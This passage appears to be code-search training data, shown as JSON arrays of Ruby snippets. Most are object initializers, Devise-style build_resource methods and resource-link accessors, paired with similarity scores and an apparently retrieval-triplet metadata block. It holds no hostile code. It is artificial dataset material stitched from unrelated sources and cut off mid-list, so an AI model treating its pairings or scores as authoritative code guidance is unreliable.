"def initialize(resource = nil, version = nil, format = nil, options = {})\r\n @version, @format, @loaded, @private = version, format, {}, true\r\n @root = options.delete :root\r\n\r\n if self.class.model\r\n case resource\r\n when ActiveRecord::Base\r\n @resource = resource\r\n load! options[:include], :limit => options[:limit]\r\n when Hash, nil\r\n @resource = self.class.model.new\r\n self.attributes = resource\r\n end\r\n else\r\n @resource = resource\r\n end\r\n end",
"def initialize(resource_path, parameters = {})\n @resource_path = resource_path\n @parameters = parameters\n end",
"def initialize(resource_path, parameters = {})\n @resource_path = resource_path\n @parameters = parameters\n end",
"def initialize(connector)\n @connector = connector\n # Keep a map of sub-resources instantiated, per resource name.\n # Hash< Symbol, Resource >\n @sub_resources = {}\n # Properties linked to this resource\n # Hash< Symbol, Object >\n @properties = {}\n end",
"def initialize(resource)\n raise Puppet::DevError, \"Got TransObject instead of Resource or hash\" if resource.is_a?(Puppet::TransObject)\n resource = self.class.hash2resource(resource) unless resource.is_a?(Puppet::Resource)\n\n # The list of parameter/property instances.\n @parameters = {}\n\n # Set the title first, so any failures print correctly.\n if resource.type.to_s.downcase.to_sym == self.class.name\n self.title = resource.title\n else\n # This should only ever happen for components\n self.title = resource.ref\n end\n\n [:file, :line, :catalog, :exported, :virtual].each do |getter|\n setter = getter.to_s + \"=\"\n if val = resource.send(getter)\n self.send(setter, val)\n end\n end\n\n @tags = resource.tags\n\n @original_parameters = resource.to_hash\n\n set_name(@original_parameters)\n\n set_default(:provider)\n\n set_parameters(@original_parameters)\n\n self.validate if self.respond_to?(:validate)\n end",
"def initialize(attrs = {})\n super\n\n instance_uri = self.class.resource_path + '/(:release)/(:uid)'\n instance_path = PDC::Resource::Path.new(instance_uri, attrs).expanded\n @url = connection.build_url(instance_path).to_s\n end",
"def initialize(resource_id, data)\n @logger = Config.logger\n @event_log = Config.event_log\n @job = nil\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def build_resource(hash=nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def initialize(resource)\n super(resource)\n if resource.uri.authority.to_s == \"\"\n raise ArgumentError,\n \"Resource cannot be handled by client: '#{resource.uri}'\"\n end\n @response = nil\n @remaining_body = StringIO.new\n end",
"def build_resource(hash = nil)\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def initialize(obj)\n @resource = (obj.kind_of?(Effective::Resource) ? obj: Effective::Resource.new(obj))\n\n unless @resource.respond_to?(:model) && @resource.model.present?\n raise 'expected effective_resource or klass to have an effective_resource do ... end block defined'\n end\n\n true\n end",
"def initialize(resource = nil)\n @resource = resource\n @logger = @resource&.create_log # This is an ImportLog.\n end",
"def initialize(resource = nil)\n if resource.is_a?(Hash)\n # We don't use a duplicate here, because some providers (ParsedFile, at least)\n # use the hash here for later events.\n @property_hash = resource\n elsif resource\n @resource = resource\n @property_hash = {}\n else\n @property_hash = {}\n end\n end",
"def initialize(resource_json)\n @json = JSON.parse(resource_json)\n parse_base\n end",
"def initialize(resource:, authorisation_server:)\n @resource = resource\n @authorisation_server = authorisation_server\n end",
"def initialize(resource:, zc_id:)\n @resource = resource\n @zc_id = zc_id\n end",
"def initialize(resource, params, options={})\n super(params)\n @resource = resource\n @options = ActiveSupport::HashWithIndifferentAccess.new(options)\n end",
"def resource\n @resource ||= Resource.new(uri, graph: graph)\n end",
"def initialize( args={} )\n\n # Create from another instance. Used for transmuting class.\n if args[:resource]\n other = args[:resource]\n @project = other.project\n @type = other.type\n @id = other.id\n @content = other.content(:load => false)\n @yaml = other.yaml_content(:load => false)\n\n # Create from a project and id\n else\n @project = args[:project]\n @type = args[:type]\n @id = args[:id]\n if SUFFIX_REGEXP =~ @id\n suffix = $2\n @id = $1 + suffix\n @type = TYPE_SUFFIXES.invert[suffix]\n end\n @content = nil\n @yaml = nil\n end\n\n if @project.nil? or @id.nil?\n raise ArgumentError, \"Insufficient resource args: #{args.inspect}\"\n end\n end",
"def build_resource(hash = {})\n self.resource = resource_class.new_with_session(hash, session)\n end",
"def build_resource(hash = {})\n self.resource = resource_class.new_with_session(hash, session)\n end",
"def new\n @resource = Resource.new\n end",
"def build_resource\n self.resource = resource_class.new(resource_params)\n end",
"def resource\n @resource ||= resource_set.createResource(uri)\n end",
"def set_resource\n unless params[:id].blank?\n @resource = Resource.find(params[:id])\n end\n if @resource.nil?\n @resource = Resource.new(project: @project) \n end\n end",
"def resource\n @resource ||= Resource.new(self)\n end",
"def new_from_resource(rsrc); self.class.new_from_resource(rsrc) end",
"def initialize(api_key, resource_url)\n @rest_client = RestClient.new(resource_url, api_key)\n end",
"def resource(uri, opts = {})\n #resource = Resource.new(self, uri, opts)\n @resources ||= {}\n @resources[uri] ||= Resource.new(self, uri, opts)\n end",
"def build_resource\n get_resource_ivar || begin\n set_resource_ivar class_name.new\n end\n end",
"def initialize\n initialize!\n end",
"def initialize\n initialize!\n end",
"def init\n end",
"def init\n end",
"def init\n end",
"def initialize\n end",
"def initialize(resource, rules)\n @resource = resource\n @rules = rules\n end",
"def initialize(attributes = {})\n super\n self.api_endpoint ||= Orias.configuration.api_endpoint\n self.per_request ||= Orias.configuration.per_request\n self.private_key ||= Orias.configuration.private_key\n end",
"def initialize(resource, accept = nil)\n super()\n @resource = resource\n @accept = accept\n\n generate_output\n end",
"def initialize(title, description, resources)\n @title = title\n @description = description\n @resources = resources\n end",
"def initialize(key, secret_key)\n @api_request = APIRequest.new(key, secret_key)\n\n @product_resource = ProductResource.new(@api_request,\n '/product/',\n Product)\n @plan_resource = PlanResource.new(@api_request,\n '/plan/',\n Plan)\n @tax_resource = TaxResource.new(@api_request,\n '/tax/',\n Tax)\n @shipping_resource = ShippingResource.new(@api_request,\n '/shipping/',\n Shipping)\n @coupon_resource = CouponResource.new(@api_request,\n '/coupon/',\n Coupon)\n @transaction_resource = TransactionResource.new(@api_request,\n '/transaction/',\n Transaction)\n @subscription_resource = SubscriptionResource.new(@api_request,\n '/subscription/',\n Subscription)\n @authorization_resource = AuthorizationResource.new(@api_request,\n '/authorization/',\n Authorization)\n @sale_resource = SaleResource.new(@api_request,\n '/sale/',\n Sale)\n @currency_resource = CurrencyResource.new(@api_request,\n '/currency/',\n Currency)\n @gateway_resource = GatewayResource.new(@api_request,\n '/gateway/',\n Gateway)\n @pay_data_resource = PayDataResource.new(@api_request,\n '/pay/',\n PayData)\n end",
"def initialize\n @s3_client = Aws::S3::Client.new(region: AWS_REGION)\n @s3_resource = Aws::S3::Resource.new(\n @s3_client,\n region: @s3_client.config.region\n )\n end",
"def new(data={})\n self.spira_resource.new(data)\n end",
"def resource\n resource_klass.new(attributes.symbolize_keys.merge(new_record: false))\n end",
"def build_resource(hash=nil)\n super\n end",
"def initialize()\n end",
"def initialize(resource_creator = method(:create_resource))\n @routes = []\n @resource_creator = resource_creator\n end",
"def initialize(resources, error='')\n @resources = resources\n @error = error\n end",
"def resource\n @resource ||= begin\n r = self.singleton_class.resource_class.new(digital_object ? self.class.rdf_subject.call(self) : nil)\n r.singleton_class.properties = self.class.properties\n r.singleton_class.properties.keys.each do |property|\n r.singleton_class.send(:register_property, property)\n end\n r.datastream = self\n r.singleton_class.accepts_nested_attributes_for(*nested_attributes_options.keys) unless nested_attributes_options.blank?\n r << deserialize\n r\n end\n end",
"def build_resource(hash=nil, student_id=nil)\n hash[:student_id] = student_id\n self.resource = resource_class.new_with_session(hash || {}, session)\n end",
"def init\n raise NotImplementedError\n end",
"def initialize() end",
"def initialize(resource)\n unless resource.instance_of?(Hash)\n resource[:name] = \"PUPPET_#{resource[:name]}\"\n end\n super(resource)\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n \n end",
"def build_resource(hash = nil)\n # Строка из шаблона\n self.resource = resource_class.new_with_session(hash || {}, session)\n # Создание и привязка компании если параметры переданы\n self.resource.company_id = Company.create(company_params).id if company_params.present?\n # Добавляем админские права если первый пользователь\n self.resource.admin = true if self.resource.company && self.resource.company.users.count < 1\n end",
"def initialize\n super()\n init_data()\n end",
"def create_resource_for(resource_name)\n resource = self.class.const_set(resource_name, Class.new(Meli::Base))\n resource.prefix = self.class.prefix\n resource.site = self.class.site\n resource\n end",
"def initialize(type_name, data_type, attribute_name, resource_hash, _referrable_type = nil)\n @type_name = type_name\n @data_type = data_type\n @attribute_name = attribute_name\n super(**resource_hash) # Pass resource to parent Puppet class.\n end",
"def initialize\n\t\t\n\tend",
"def set_resource\n @resource = Resource.find(params[:id])\n end",
"def set_resource\n instance_variable_set(\"@#{resource_name}\", load_resource)\n end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def initialize\r\n\r\n end",
"def initialize\n\n\tend"
] |
[
"0.820891",
"0.8153959",
"0.8115135",
"0.7480056",
"0.738973",
"0.7347292",
"0.7278875",
"0.72060287",
"0.71424425",
"0.71415067",
"0.7141086",
"0.7135027",
"0.7111583",
"0.71081305",
"0.70504045",
"0.7020879",
"0.7020879",
"0.7014208",
"0.6995968",
"0.69896716",
"0.69896716",
"0.69561774",
"0.69382215",
"0.689381",
"0.68874055",
"0.6875303",
"0.6875303",
"0.6875303",
"0.6875303",
"0.6875303",
"0.6875303",
"0.6875303",
"0.6875303",
"0.6875303",
"0.6875303",
"0.6874734",
"0.68588847",
"0.6851698",
"0.6847879",
"0.6837257",
"0.6831734",
"0.682537",
"0.682286",
"0.68127733",
"0.68091583",
"0.6791261",
"0.67876315",
"0.67874944",
"0.67874944",
"0.67853093",
"0.6785168",
"0.6775601",
"0.67636085",
"0.6763481",
"0.67545235",
"0.67428654",
"0.67413735",
"0.67380327",
"0.67367417",
"0.67367417",
"0.6717737",
"0.6717737",
"0.6717737",
"0.6715829",
"0.669589",
"0.6690132",
"0.66766936",
"0.6664542",
"0.66553235",
"0.6642378",
"0.6638672",
"0.6634573",
"0.66237235",
"0.6623608",
"0.66203237",
"0.6608448",
"0.65991026",
"0.65668243",
"0.65662813",
"0.6550825",
"0.65500057",
"0.65476197",
"0.65476197",
"0.65476197",
"0.65476197",
"0.65476197",
"0.65476197",
"0.65062344",
"0.64977676",
"0.64971054",
"0.64942306",
"0.6493861",
"0.6488224",
"0.64815515",
"0.64783055",
"0.6476456",
"0.6476456",
"0.6476456",
"0.6476456",
"0.6469537",
"0.6468424"
] |
0.0
|
-1
|
return the links that the resource has
|
def links
valid_link_keys = %w(creditor creditor_bank_account )
valid_links = (@links || {}).select { |key, _| valid_link_keys.include?(key) }
links_class = Struct.new(
*{
creditor: '',
creditor_bank_account: ''
}.keys
) do
def initialize(hash)
hash.each do |key, val|
send("#{key}=", val)
end
end
end
links_class.new(valid_links)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def links\n return @links\n end",
"def links\n return @links\n end",
"def links\n return @links\n end",
"def links()\n return @links\n end",
"def links\n @data[\"_links\"]\n end",
"def links\n @links ||= []\n @links\n end",
"def links\n each_link.to_set\n end",
"def links; end",
"def links; end",
"def links\n @links.values\n end",
"def links\n self[\"link\"].map { |l| l.href }\n end",
"def links\n self[\"link\"].map { |l| l.href }\n end",
"def linked_resources\n return @linked_resources\n end",
"def all_links\n Link.all\n end",
"def all_links\n Link.all\n end",
"def all_links\n Link.all\n end",
"def links\n response = Clever.request :get, url\n response[:links]\n end",
"def links\n data['links']\n end",
"def links\n links = []\n result = self.perform\n links = result.ft_links\n end",
"def links\n @source._links\n end",
"def links\n\t\t( 0...self.link_count ).collect do |i|\n\t\t\tself.link( i )\n\t\tend\n\tend",
"def links\n return nil unless @item and self.type == :query and @item['entry']['link']\n @item['entry']['link']\n end",
"def links\n\t\t@links.keys\n\tend",
"def links\n metadata[:links] || Set.new\n end",
"def links\n json_hyperschema[\"links\"] || []\n end",
"def links\n @data.links ||= parsed_document.search(\"//a\") \\\n .map {|link| link.attributes[\"href\"] \\\n .to_s.strip}.uniq rescue nil\n end",
"def links\n linked_to.map{|to|[self,to]}\n end",
"def links\n @links = super || []\n end",
"def links\n @mandate_links ||= Links.new(@links)\n end",
"def get_links(service)\n\t\treturn @transport.get_path(\"links\",service)\n\tend",
"def links\n @links ||=\n if defined? unitID\n Rentlinx.client.get_links_for_unit(self)\n else\n Rentlinx.client.get_links_for_property_id(propertyID)\n end\n end",
"def links\n @links ||= lambda do \n raw_links.map do |link|\n hash = {}\n link.keys.each do |key|\n hash[key] = link[key]\n end\n hash\n end\n end.call\n end",
"def links\n construct_html(self.items)\n end",
"def links\n _links = parent_link.update({\n self: { href: @controller.polymorphic_url(collection_hierarchy) }\n })\n\n { _links: _links }\n end",
"def links\n return @links unless @links.nil?\n @links = []\n return @links if !doc\n\n doc.search(\"//a[@href]\").each do |a|\n next if a['data-method'] && a['data-method'] != 'get'\n u = a['href']\n next if u.nil? or u.empty?\n abs = to_absolute(u) rescue next\n @links << abs if in_domain?(abs)\n end\n @links.uniq!\n @links\n end",
"def vdoc_links\n return @link_set if defined? @link_set\n \n @link_set = Set.new\n pages.each {|page| @link_set << page.display_name }\n @link_set\n end",
"def links\n return unless current_user && !current_user.guest?\n\n {}.tap do |links|\n # GET user accessible licenses list - show this link when current user has licenses\n links[:licenses] = api_list_licenses_path(object) unless current_user.licenses.empty?\n end\n end",
"def links\n return @links if @links\n return false unless @source\n @links = @source.scan(HREF_CONTENTS_RE).map do |match|\n # filter some malformed URLS that come in\n # meant to be a loose filter to catch all reasonable HREF attributes.\n link = match[0]\n Link.new(@t.scheme, @t.host, link).path\n end.uniq\n end",
"def links\n @links ||= if @breadcrumb_key.present?\n # Reload breadcrumbs configuration if needed\n Gretel::Crumbs.reload_if_needed\n\n # Get breadcrumb set by the `breadcrumb` method\n crumb = Gretel::Crumb.new(context, breadcrumb_key, *breadcrumb_args)\n\n # Links of first crumb\n links = crumb.links.dup\n \n # Get parent links\n links.unshift *parent_links_for(crumb)\n\n links\n else\n []\n end\n end",
"def links\n @links ||= %w{ a area }.map do |tag|\n search(tag).map do |node|\n Link.new(node, @mech, self)\n end\n end.flatten\n end",
"def links\n @links ||= %w{ a area }.map do |tag|\n search(tag).map do |node|\n Link.new(node, @mech, self)\n end\n end.flatten\n end",
"def my_links\n end",
"def get_raw_links\n @doc.xpath(LINKS_XPATH).map { |link| link['href'] }\n end",
"def links\n url = @controller.request.url\n url = url.split('.')[0..-2].join('.') if url =~ /\\.\\w+$/\n\n parent_url = url.split('/')[0..-2].join('/')\n parent_name = parent_url.split('/')[0..-2].last.singularize\n\n _links = {\n self: { href: url },\n parent_name => { href: parent_url }\n }\n\n { _links: _links }\n end",
"def links\n @links ||= begin\n if doc\n # get a list of distinct links on the page, in absolute url form\n links = doc.css('a[href]').inject([]) do |list, link|\n href = link.attributes['href'].content\n href.strip! if href\n \n unless skip_link?(href)\n begin\n url = to_absolute(href)\n rescue URI::InvalidURIError\n $stderr.puts \"ERROR: bad URI #{href.inspect} on page #{self.url.to_s.inspect}\"\n else\n list << url if url.scheme =~ /^https?$/\n end\n end\n list\n end\n \n links.uniq!\n links\n else\n []\n end\n end\n end",
"def links\n if @links.blank?\n @links = []\n link_nodes =\n FeedTools::XmlHelper.combine_xpaths_all(self.channel_node, [\n \"atom10:link\",\n \"atom03:link\",\n \"atom:link\",\n \"link\",\n \"channelLink\",\n \"a\",\n \"url\",\n \"href\"\n ])\n for link_node in link_nodes\n link_object = FeedTools::Link.new\n link_object.href = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@atom10:href\",\n \"@atom03:href\",\n \"@atom:href\",\n \"@href\",\n \"text()\"\n ], :select_result_value => true)\n if link_object.href == \"atom10:\" ||\n link_object.href == \"atom03:\" ||\n link_object.href == \"atom:\"\n link_object.href = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@href\"\n ], :select_result_value => true)\n end\n if link_object.href.nil? && link_node.base_uri != nil\n link_object.href = \"\"\n end\n begin\n if !(link_object.href =~ /^file:/) &&\n !FeedTools::UriHelper.is_uri?(link_object.href)\n link_object.href = FeedTools::UriHelper.resolve_relative_uri(\n link_object.href,\n [link_node.base_uri, self.base_uri])\n end\n rescue\n end\n if self.configurations[:url_normalization_enabled]\n link_object.href =\n FeedTools::UriHelper.normalize_url(link_object.href)\n end\n link_object.href.strip! unless link_object.href.nil?\n next if link_object.href.blank?\n link_object.hreflang = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@atom10:hreflang\",\n \"@atom03:hreflang\",\n \"@atom:hreflang\",\n \"@hreflang\"\n ], :select_result_value => true)\n if link_object.hreflang == \"atom10:\" ||\n link_object.hreflang == \"atom03:\" ||\n link_object.hreflang == \"atom:\"\n link_object.hreflang = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@hreflang\"\n ], :select_result_value => true)\n end\n unless link_object.hreflang.nil?\n link_object.hreflang = link_object.hreflang.downcase\n end\n link_object.rel = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@atom10:rel\",\n \"@atom03:rel\",\n \"@atom:rel\",\n \"@rel\"\n ], :select_result_value => true)\n if link_object.rel == \"atom10:\" ||\n link_object.rel == \"atom03:\" ||\n link_object.rel == \"atom:\"\n link_object.rel = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@rel\"\n ], :select_result_value => true)\n end\n unless link_object.rel.nil?\n link_object.rel = link_object.rel.downcase\n end\n if link_object.rel.nil? && self.feed_type == \"atom\"\n link_object.rel = \"alternate\"\n end\n link_object.type = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@atom10:type\",\n \"@atom03:type\",\n \"@atom:type\",\n \"@type\"\n ], :select_result_value => true)\n if link_object.type == \"atom10:\" ||\n link_object.type == \"atom03:\" ||\n link_object.type == \"atom:\"\n link_object.type = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@type\"\n ], :select_result_value => true)\n end\n unless link_object.type.nil?\n link_object.type = link_object.type.downcase\n end\n link_object.title = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@atom10:title\",\n \"@atom03:title\",\n \"@atom:title\",\n \"@title\",\n \"text()\"\n ], :select_result_value => true)\n if link_object.title == \"atom10:\" ||\n link_object.title == \"atom03:\" ||\n link_object.title == \"atom:\"\n link_object.title = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@title\"\n ], :select_result_value => true)\n end\n # This catches the ambiguities between atom, rss, and cdf\n if link_object.title == link_object.href\n link_object.title = nil\n end\n link_object.length = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@atom10:length\",\n \"@atom03:length\",\n \"@atom:length\",\n \"@length\"\n ], :select_result_value => true)\n if link_object.length == \"atom10:\" ||\n link_object.length == \"atom03:\" ||\n link_object.length == \"atom:\"\n link_object.length = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@length\"\n ], :select_result_value => true)\n end\n if !link_object.length.nil?\n link_object.length = link_object.length.to_i\n else\n if !link_object.type.nil? && link_object.type[0..4] != \"text\" &&\n link_object.type[-3..-1] != \"xml\" &&\n link_object.href =~ /^http:\\/\\//\n # Retrieve the length with an http HEAD request\n else\n link_object.length = nil\n end\n end\n @links = [] if @links.nil?\n @links << link_object\n end\n end\n return @links\n end",
"def links\n\t self.tweets.collect{|t| t.links}.flatten.compact\n\tend",
"def sitemap_links\n each_sitemap_link.to_a\n end",
"def links\n @event_links ||= Links.new(@links)\n end",
"def links\n curations = self.curations.select do |curation|\n curation.rating != '0' and curation.status != 'deleted'\n end\n\n links = curations.map do |curation|\n link = Link.find(curation.link_id)\n owner = User.find(link.link_owner)\n link_for_app = {\n curation_id: curation.id,\n link_id: link.id,\n status: curation.status,\n rating: curation.rating,\n date_added: curation.created_at,\n url: link.url,\n url_type: link.url_type,\n title: link.title,\n image: link.image,\n comment: curation.comment,\n shared_with: people_shared_with(link, owner),\n tags: curation.tags,\n owner: {\n name: owner.name,\n phone: owner.phone,\n }\n }\n link_for_app\n end\n links.sort_by { |link| link[:date_added] }.reverse\n end",
"def lists\n @links = Link.all\n @short_link = ActionMailer::Base.default_url_options[:host]\n end",
"def links()\n links = Nokogiri::HTML(RedCloth.new(self.body).to_html).css(\"a\").map do |link|\n if (href = link.attr(\"href\")) && href.match(/^https?:/)\n href\n end\n end.compact\n uris = []\n links.each do |link|\n puts link\n uris.push(URI.parse(link))\n end\n return uris\n end",
"def quick_links_for(object)\n case object\n when :welcome\n links = StaticPage.find_by_url(\"parent-resources\").try(:links) || []\n return_links = Array.new([[\"Parent Resources\"]])\n links.each do |link|\n return_links << [link.name, link.url]\n end\n return_links\n end\n end",
"def links\n return unless current_user\n\n {}.tap do |links|\n links[:accept] = accept_api_space_path(object) if can_accept?\n links[:add_data] = add_data_api_space_path(object) if can_edit?\n links[:show] = api_space_path(object) if can_access? || current_user.review_space_admin?\n links[:delete] = delete_api_space_path(object) if can_delete?\n links[:lock] = lock_api_space_path(object) if can_lock?\n links[:unlock] = unlock_api_space_path(object) if can_unlock?\n links[:update] = api_space_path(object) if can_update?\n links[:update_tags] = tags_api_space_path(object) if can_update?\n links[:apps] = api_apps_path(object) if can_access?\n links[:files] = api_files_path(object) if can_access?\n links[:workflows] = api_workflows_path(object) if can_access?\n links[:jobs] = api_jobs_path(object) if can_access?\n links[:members] = members_api_space_path(object) if can_access?\n links[:show_shared] = api_space_path(object.space) if object.confidential?\n\n if object.shared? && confidential_space\n links[:show_private] = api_space_path(confidential_space)\n end\n end\n end",
"def all_links\n self.fulltext_links + self.non_fulltext_links\n end",
"def links\n _links = { self: polymorphic_url(record_with_ancestor_chain(@record)) }\n\n resources.each do |name, resource|\n _links.update(name => polymorphic_url(record_with_ancestor_chain(resource)))\n end\n\n sub_resources.each do |sub_resource|\n _links.update(sub_resource => polymorphic_url(record_with_ancestor_chain(@record) << sub_resource))\n end\n\n { _links: _links }\n end",
"def hyperlinks\n links = self.images.select { |a| a.hyperlink.is_a?(Hyperlink) }\n links.map { |a| a.hyperlink }\n end",
"def links\n @payer_authorisation_links ||= Links.new(@links)\n end",
"def links\n\n @user=current_user\n @links=Link.user_links(current_user.id)\n\n end",
"def display_all_links_attributes\n # Interface method\n end",
"def exist_links\n return [] if sumup.blank?\n\n sumup.fetch(\"public_praises\").fetch(\"items\")\n end",
"def links\n @links ||= parsed_links.map{ |l| absolutify_url(unrelativize_url(l)) }.compact.uniq\n end",
"def internal_links\n respond_with @page.internal_links\n end",
"def internal_links\n respond_with @page.internal_links\n end",
"def links_feed\n end",
"def linked\n ret = []\n self.links.inject(ret){|arr , link| arr << link.target}\n self.incomming_links.inject(ret){|arr , link| arr << link.source}\n ret\n end",
"def read_links()\n\t\tlinks = linkr.read_array()\n\t\t###binding.pry\n\t\t#@initial_queue = links\n\t\t###binding.pry\n\t\tlinks\n\n\tend",
"def links\n @doc.css('a[href]').map do |a|\n parse_element_attribute_uri(a, 'href')\n end.compact.uniq\n end",
"def links\n @links ||= parsed_links.map{ |l| URL.absolutify(URL.unrelativize(l, scheme), base_url) }.compact.uniq\n end",
"def links\n\ttmp = []\n @doc.xpath('//field[@id=\"linkedWorkItems\"]/list/struct').each do |struct|\n\t linked_wid = struct.xpath('item[@id=\"workItem\"]').text\n\t role = struct.xpath('item[@id=\"role\"]').text\n\t tmp << \"#{role}:#{linked_wid}\"\n\tend\n\treturn tmp\n end",
"def rss_links \n\t\tdoc.xpath(\"//link[@type=\\\"application/rss+xml\\\"]\").map do |link|\n\t\t\tif link['href'] =~ /^http:\\/\\//\n\t\t\t\tlink['href']\n\t\t\telse\n\t\t\t\t\"#{@url}#{link['href']}\"\n\t\t\tend\n\t\tend\n\tend",
"def links(object=nil)\n options[:links] ||= []\n options[:links] << object if object\n options[:links]\n end",
"def links\n typed_set(entities, Occi::Core::Link)\n end",
"def resource_relations\n @resource_relations ||= Relation.from_links(client,\n decoded_body[:links])\n end",
"def test_links\n schema = Heroics::Schema.new(SAMPLE_SCHEMA)\n assert_equal(\n ['list', 'info', 'identify_resource', 'create', 'submit', 'update', 'delete'],\n schema.resource('resource').links.map { |link| link.name })\n end",
"def links\n @redirect_flow_links ||= Links.new(@links)\n end",
"def resource_link\n return @resource_link\n end",
"def index\n @link_resources = LinkResource.where(lab: @lab)\n end",
"def links\n valid_link_keys = %w(mandate new_customer_bank_account organisation parent_event payment payout previous_customer_bank_account refund subscription )\n valid_links = (@links || {}).select { |key, _| valid_link_keys.include?(key) }\n\n links_class = Struct.new(\n *{\n\n mandate: '',\n\n new_customer_bank_account: '',\n\n organisation: '',\n\n parent_event: '',\n\n payment: '',\n\n payout: '',\n\n previous_customer_bank_account: '',\n\n refund: '',\n\n subscription: ''\n\n }.keys\n ) do\n def initialize(hash)\n hash.each do |key, val|\n send(\"#{key}=\", val)\n end\n end\n end\n links_class.new(valid_links)\n end",
"def load_collection\n current_site.links\n end",
"def links\n param = {lat: lat.to_f, lng: lng.to_f, latlng: latlng}\n Hashie::Mash.new(EXTERNAL_LINKS.map{|key, pattern| [key, pattern % param]}.to_h)\n end",
"def __links_for_service(service)\n if service.is_a?(GridService)\n service.grid_service_links.select{|l| l.linked_grid_service.stack == service.stack }.map{ |l| l.linked_grid_service.name }\n else\n (service[:links] || []).select{|l| !l[:name].include? '/'}.map{|l| l[:name] }\n end\n end",
"def links\n {\n show: file_path(object),\n rename: api_file_path(object),\n }\n end",
"def links\n @billing_request_links ||= Links.new(@links)\n end",
"def links_for_item(item)\n links = super(item)\n\n links.push({\n 'rel' => 'status',\n 'type' => api_media_type(:g5kitemjson),\n 'href' => uri_to(File.join(resource_path(item['uid']), 'status'))\n })\n links\n end",
"def links\n @mandate_import_entry_links ||= Links.new(@links)\n end",
"def links\n nodes = @node.xpath(\"atom:link\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomLink.new(node) }\n end",
"def internal_full_links\n links = internal_links\n return [] if links.empty?\n\n links.map { |link| base_url(link: link).concat(link) }\n end",
"def links=(value)\n @links = value\n end",
"def links=(value)\n @links = value\n end",
"def links=(value)\n @links = value\n end",
"def gen_links (res, item, &block)\n\n if block # unique element\n\n [ link('via', res), link('self', res, block.call(item)) ]\n\n elsif item.respond_to?(:current_page) and item.total_pages > 1\n\n a = [\n link('via', ''),\n link('self', res, 'page' => item.current_page)\n ]\n a << link('prev', res, 'page' => item.current_page - 1) \\\n if item.current_page > 1\n a << link('next', res, 'page' => item.current_page + 1) \\\n if item.current_page < item.total_pages\n a\n\n else # collection\n\n [ link('via', ''), link('self', res) ]\n end\n end",
"def links\n nodes = @doc.xpath(\"atom:feed/atom:link\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomLink.new(node) }\n end",
"def links\n valid_link_keys = %w(mandate )\n valid_links = (@links || {}).select { |key, _| valid_link_keys.include?(key) }\n\n links_class = Struct.new(\n *{\n\n mandate: ''\n\n }.keys\n ) do\n def initialize(hash)\n hash.each do |key, val|\n send(\"#{key}=\", val)\n end\n end\n end\n links_class.new(valid_links)\n end",
"def all_links\n Link.all.order(id: :desc)\n end",
"def link\n @link\n end",
"def links_for_render(options = {})\n out = links.dup\n\n # Handle autoroot\n if options[:autoroot] && out.map(&:key).exclude?(:root) && Gretel::Crumbs.crumb_defined?(:root)\n out.unshift *Gretel::Crumb.new(context, :root).links\n end\n\n # Set current link to actual path\n if options[:link_last_to_current_path] && out.any? && request\n out.last.url = request.fullpath\n end\n\n # Handle show root alone\n if out.size == 1 && !options[:display_single_fragment]\n out.shift\n end\n\n # Set last link to current\n out.last.try(:current!)\n\n out\n end",
"def prepare_links!\n links_def = find_links_definition or return\n \n links_def.rel2block.each do |link|\n links.update_link(Feature::Hypermedia::Hyperlink.new.tap do |hyperlink| # create Hyperlink representer.\n hyperlink.rel = link[:rel]\n hyperlink.href = run_link_block(link[:block])\n end)\n end\n end",
"def create_links\n end",
"def create_links\n end",
"def links\n\t\t\tlinks = {}\n\t\t\tself.page_files(true).each do |p|\n\t\t\t\tpage = Page.new(p)\n\t\t\t\tlinks[page.base_dir] = page.url\n\t\t\tend\n\t\t\tlinks\n\t\tend"
] |
[
"0.8133294",
"0.8133294",
"0.8133294",
"0.8021847",
"0.7828761",
"0.77440953",
"0.77269757",
"0.77112144",
"0.77112144",
"0.7706865",
"0.7706132",
"0.7706132",
"0.7652742",
"0.7626881",
"0.7626881",
"0.7626881",
"0.76182514",
"0.75561905",
"0.7470416",
"0.746724",
"0.7419365",
"0.7358283",
"0.7346724",
"0.73391426",
"0.72700715",
"0.7257213",
"0.72098017",
"0.7184193",
"0.71752095",
"0.7105069",
"0.70889634",
"0.70792156",
"0.70615816",
"0.7036584",
"0.7027883",
"0.7021494",
"0.698761",
"0.6984633",
"0.6976566",
"0.6970998",
"0.6970998",
"0.6934346",
"0.6929683",
"0.69289017",
"0.6928171",
"0.6925718",
"0.6924951",
"0.69081",
"0.68941647",
"0.68859893",
"0.68824697",
"0.68765545",
"0.6830994",
"0.68190306",
"0.6807163",
"0.67991346",
"0.6796411",
"0.6780108",
"0.6759206",
"0.6757686",
"0.67427826",
